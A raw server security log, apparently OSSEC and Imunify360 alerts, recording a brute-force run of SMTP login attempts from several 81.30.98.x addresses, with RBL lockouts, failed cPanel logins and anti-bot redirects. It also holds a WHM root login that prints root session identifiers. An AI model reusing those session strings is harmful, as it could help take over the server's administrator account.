Jun 22 17:31:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:31:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:12304: 535 Incorrect authentication data (set_id=tamayo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:32:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:32:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:32:51 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:32:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:32:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57304: 535 Incorrect authentication data (set_id=larry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:32:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:32322: 535 Incorrect authentication data (set_id=nira)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:32:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36882: 535 Incorrect authentication data (set_id=liang)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.95
country_id: 798544
description:
Jun 22 17:32:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:32:46 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:32:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44470: 535 Incorrect authentication data (set_id=stp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:32:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:11550: 535 Incorrect authentication data (set_id=tech)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:32:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:64576: 535 Incorrect authentication data (set_id=larry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:32:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60040: 535 Incorrect authentication data (set_id=config)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:32:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:33:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:33:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:33:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35068: 535 Incorrect authentication data (set_id=mind)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:33:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:7956: 535 Incorrect authentication data (set_id=adell)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:33:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:65458: 535 Incorrect authentication data (set_id=breakfast)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:33:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:33:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19884: 535 Incorrect authentication data (set_id=test3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:33:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51658: 535 Incorrect authentication data (set_id=supp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:33:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40392: 535 Incorrect authentication data (set_id=kostya)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:33:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:33:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:34:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:34:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:34:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:34:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43942: 535 Incorrect authentication data (set_id=phantom)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:34:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:31224: 535 Incorrect authentication data (set_id=rehber)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:34:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:4566: 535 Incorrect authentication data (set_id=domino)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:34:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:34:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:34:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16338: 535 Incorrect authentication data (set_id=babette)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:35:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117413&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149712 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:34:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:47156: 535 Incorrect authentication data (set_id=ozren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:34:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33146: 535 Incorrect authentication data (set_id=nscd)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:34:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:35:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9554834&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149714 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:35:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:35:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:10978: 535 Incorrect authentication data (set_id=specs)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:35:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25132: 535 Incorrect authentication data (set_id=raf)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:35:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:62800: 535 Incorrect authentication data (set_id=sugino)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:35:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63932: 535 Incorrect authentication data (set_id=izzy)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:35:30 +0000] info [cpaneld] 141.95.93.31 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:35:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5022: 535 Incorrect authentication data (set_id=boo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:35:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:35:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:35:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055578&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149722 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:35:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:42306: 535 Incorrect authentication data (set_id=sugino)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:35:46 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:35:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24440: 535 Incorrect authentication data (set_id=supporto)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:35:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:36:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:36:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:36:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33508: 535 Incorrect authentication data (set_id=u25)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:36:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22584: 535 Incorrect authentication data (set_id=lecture)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 158.173.157.149
country_id: 3017382
description:
[2026-06-22 17:36:57 +0000] info [whostmgrd] 158.173.157.149 - root "GET / HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [158.173.157.149]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:36:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63910: 535 Incorrect authentication data (set_id=ferenc)


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 158.173.157.149
country_id: 3017382
description:
[2026-06-22 17:36:57 +0000] info [whostmgrd] 158.173.157.149 PURGE root:zazOVVrvw4p4DyRg badpass [cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [158.173.157.149]]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:36:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:36:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39372: 535 Incorrect authentication data (set_id=font)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:36:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7916: 535 Incorrect authentication data (set_id=brian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:36:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18162: 535 Incorrect authentication data (set_id=ns101)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:36:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:36:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:36:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 11009
name: WHM login success
abuser: 158.173.157.149
country_id: 3017382
description:
[2026-06-22 17:37:02 +0000] info [whostmgrd] 158.173.157.149 NEW root:fp3UiTkuYOAQ21yT address=158.173.157.149,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:37:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:37:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62332: 535 Incorrect authentication data (set_id=kingston)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:37:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:37:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:20228: 535 Incorrect authentication data (set_id=test02)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:37:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:37:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48172: 535 Incorrect authentication data (set_id=bien-vieillir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:37:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1132: 535 Incorrect authentication data (set_id=uno)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:38:04 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:37:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60124: 535 Incorrect authentication data (set_id=whir)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:37:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:37:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:10654: 535 Incorrect authentication data (set_id=elp)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:37:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:38:22 +0000] info [cpaneld] 141.95.93.31 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:38:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:38:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57126: 535 Incorrect authentication data (set_id=nitin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:38:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:38:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:38:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40798: 535 Incorrect authentication data (set_id=fox)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:38:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30432: 535 Incorrect authentication data (set_id=moon)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:38:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:38:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10184: 535 Incorrect authentication data (set_id=specials)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:38:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53358: 535 Incorrect authentication data (set_id=appert)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:38:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12614: 535 Incorrect authentication data (set_id=fox)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.222.203.26
country_id: 2510769
description:
37.222.203.26 - - [22/Jun/2026:17:39:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120299&pdata=https%253A%252F%252Ftogodailynews.tg%252Fma-commune-une-emission-dediee-a-la-decentralisation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149962 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ma-commune-une-emission-dediee-a-la-decentralisation/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2346.1260 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.222.203.26


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:38:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:38:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37464: 535 Incorrect authentication data (set_id=okano)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:38:52 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:39:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:50568: 535 Incorrect authentication data (set_id=dustin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:39:35 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:39:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1314: 535 Incorrect authentication data (set_id=bigdata)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:39:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:65248: 535 Incorrect authentication data (set_id=yann)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:39:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:39:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:39:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:39:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:39:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
